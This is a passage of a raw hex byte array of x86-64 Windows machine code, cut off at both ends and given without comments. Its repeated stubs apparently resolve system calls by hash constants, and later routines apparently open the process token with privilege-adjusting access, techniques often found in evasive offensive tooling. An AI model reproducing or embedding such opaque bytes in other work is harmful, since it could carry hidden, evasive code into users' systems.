x48,0xC7,0xC1,0x18,0x39,0xA3,0x73,0x51,0x48,0x83,0xEC,0x28,0xE8,0xB5,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x4A,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xFB,0x5E,0xAB,0x7C,0x51,0x48,0x83,0xEC,0x28,0xE8,0x5E,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xF3,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x1E,0x5C,0x98,0x38,0x51,0x48,0x83,0xEC,0x28,0xE8,0x07,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x9C,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x82,0x4D,0xDF,0x84,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xAD,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x42,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x0C,0x86,0xB2,0xA1,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x53,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xE8,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x80,0x2D,0x1F,0x0A,0x51,0x48,0x83,0xEC,0x28,0xE8,0xFC,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x91,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x13,0x36,0x82,0x14,0x51,0x48,0x83,0xEC,0x28,0xE8,0xA5,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x3A,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x8A,0xF2,0x3D,0xE6,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x4B,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xE0,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x3A,0x3D,0xA8,0x32,0x51,0x48,0x83,0xEC,0x28,0xE8,0xF4,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x89,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x5C,0x59,0xF3,0x6A,0x51,0x48,0x83,0xEC,0x28,0xE8,0x9D,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x32,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x6E,0x23,0x30,0xE8,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x43,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xD8,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xE3,0x55,0x3F,0x11,0x51,0x48,0x83,0xEC,0x28,0xE8,0xEC,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x81,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x04,0x0E,0xDA,0x6B,0x51,0x48,0x83,0xEC,0x28,0xE8,0x95,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x2A,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x10,0xDE,0xB1,0x12,0x51,0x48,0x83,0xEC,0x28,0xE8,0x3E,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xD3,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x20,0x35,0x89,0x10,0x51,0x48,0x83,0xEC,0x28,0xE8,0xE7,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x7C,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xB5,0x3A,0x1B,0x38,0x51,0x48,0x83,0xEC,0x28,0xE8,0x90,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x25,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x9C,0xD0,0xC6,0x20,0x51,0x48,0x83,0xEC,0x28,0xE8,0x39,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xCE,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x3C,0xF4,0x9E,0xBA,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xDF,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x74,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x44,0x8D,0x66,0xCB,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x85,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x1A,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x8F,0x59,0x39,0x13,0x51,0x48,0x83,0xEC,0x28,0xE8,0x2E,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xC3,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xBA,0x75,0xEB,0xB6,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xD4,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x69,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xEF,0xD9,0xB0,0x1B,0x51,0x48,0x83,0xEC,0x28,0xE8,0x7D,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x12,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xE7,0x84,0xCD,0x0A,0x51,0x48,0x83,0xEC,0x28,0xE8,0x26,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xBB,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x37,0x04,0x96,0x36,0x51,0x48,0x83,0xEC,0x28,0xE8,0xCF,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x64,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x79,0x5C,0x2D,0x7A,0x51,0x48,0x83,0xEC,0x28,0xE8,0x78,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x0D,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x8F,0xCC,0x1A,0xCA,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x1E,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xB3,0xEC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x19,0xD6,0x26,0x0C,0x51,0x48,0x83,0xEC,0x28,0xE8,0xC7,0xEC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x5C,0xEC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x41,0xB8,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x0B,0x60,0x00,0x00,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0xE8,0xF4,0x01,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x75,0x1E,0x48,0x8D,0x05,0x1E,0x60,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC6,0x8D,0xFF,0xFF,0x48,0x8D,0x05,0x4A,0x60,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB7,0x8D,0xFF,0xFF,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x41,0xB8,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x29,0x60,0x00,0x00,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0xE8,0xA2,0x01,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x75,0x1E,0x48,0x8D,0x05,0x34,0x60,0x00,0x00,0x48,0x89,0xC1,0xE8,0x74,0x8D,0xFF,0xFF,0x48,0x8D,0x05,0xF8,0x5F,0x00,0x00,0x48,0x89,0xC1,0xE8,0x65,0x8D,0xFF,0xFF,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0x48,0x83,0x7D,0x18,0x00,0x74,0x06,0x83,0x7D,0x20,0x00,0x75,0x0A,0xB8,0x01,0x00,0x00,0x00,0xE9,0x28,0x01,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x85,0xC0,0x75,0x29,0xC7,0x45,0xF8,0x01,0x00,0x00,0x00,0x4C,0x8D,0x45,0x10,0xBA,0x28,0x00,0x00,0x00,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0x60,0xED,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x88,0xD7,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xE9,0xB6,0x00,0x00,0x00,0x8B,0x45,0xF4,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0x48,0x01,0xD0,0x48,0x8B,0x10,0x48,0x8B,0x45,0x10,0x8B,0x4D,0x28,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xC9,0x00,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x75,0x44,0x83,0x7D,0xF8,0x00,0x74,0x3E,0x83,0x7D,0x28,0x00,0x74,0x38,0x8B,0x45,0xF4,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x89,0xC2,0x48,0x8D,0x05,0x6F,0x5F,0x00,0x00,0x48,0x89,0xC1,0xE8,0x77,0x8C,0xFF,0xFF,0x48,0x8D,0x05,0xFB,0x5E,0x00,0x00,0x48,0x89,0xC1,0xE8,0x68,0x8C,0xFF,0xFF,0xEB,0x58,0x83,0x7D,0xFC,0x00,0x75,0x38,0x8B,0x45,0xF4,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x89,0xC2,0x48,0x8D,0x05,0x60,0x5F,0x00,0x00,0x48,0x89,0xC1,0xE8,0x39,0x8C,0xFF,0xFF,0x48,0x8D,0x05,0xBD,0x5E,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2A,0x8C,0xFF,0xFF,0xEB,0x1A,0x83,0x45,0xF4,0x01,0x8B,0x45,0xF4,0x3B,0x45,0x20,0x0F,0x82,0x3E,0xFF,0xFF,0xFF,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x83,0x7D,0xF8,0x00,0x74,0x15,0x48,0x8B,0x45,0x10,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x09,0xEC,0xFF,0xFF,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x53,0x48,0x81,0xEC,0xB8,0x00,0x00,0x00,0x48,0x8D,0xAC,0x24,0xB0,0x00,0x00,0x00,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x44,0x89,0x45,0x30,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x08,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0x8B,0x45,0xC0,0x89,0x45,0xE0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xA0,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0x80,0x66,0x0F,0x7E,0x45,0x90,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x01,0x00,0x00,0xC0,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x8B,0x5E,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1C,0xAE,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x1E,0xC1,0xA5,0x11,0x48,0x89,0xC1,0xE8,0x2A,0xAC,0xFF,0xFF,0x48,0x89,0x45,0xC8,0x48,0x83,0x7D,0xC8,0x00,0x0F,0x84,0x15,0x03,0x00,0x00,0x48,0x8B,0x45,0x20,0x48,0x85,0xC0,0x75,0x29,0xC7,0x45,0xE4,0x01,0x00,0x00,0x00,0x4C,0x8D,0x45,0x20,0xBA,0x28,0x00,0x00,0x00,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0x6D,0xEB,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x88,0xE6,0x02,0x00,0x00,0x8B,0x45,0xC0,0x89,0x45,0xE0,0x8B,0x45,0xC0,0x89,0xC3,0x48,0x8B,0x05,0x41,0xD6,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x3D,0xD6,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xB2,0x02,0x00,0x00,0x44,0x8B,0x45,0xC0,0x48,0x8B,0x45,0x20,0x48,0x8B,0x4D,0xF0,0x48,0x8D,0x55,0xC0,0x48,0x89,0x54,0x24,0x20,0x45,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x03,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x7D,0xF0,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x79,0x56,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xE0,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD5,0x33,0x00,0x00,0x48,0x8B,0x05,0xC6,0xD5,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC6,0xD5,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xDC,0x23,0x00,0x00,0xC0,0x0F,0x84,0x44,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xDC,0x00,0x0F,0x88,0x23,0x02,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xE9,0xFD,0x01,0x00,0x00,0x48,0x8B,0x4D,0xF0,0x8B,0x55,0xFC,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x02,0x48,0x01,0xC8,0x48,0x8B,0x50,0x04,0x48,0x89,0x55,0xB0,0x8B,0x40,0x0C,0x89,0x45,0xB8,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xBC,0x48,0x8D,0x45,0xB0,0x4C,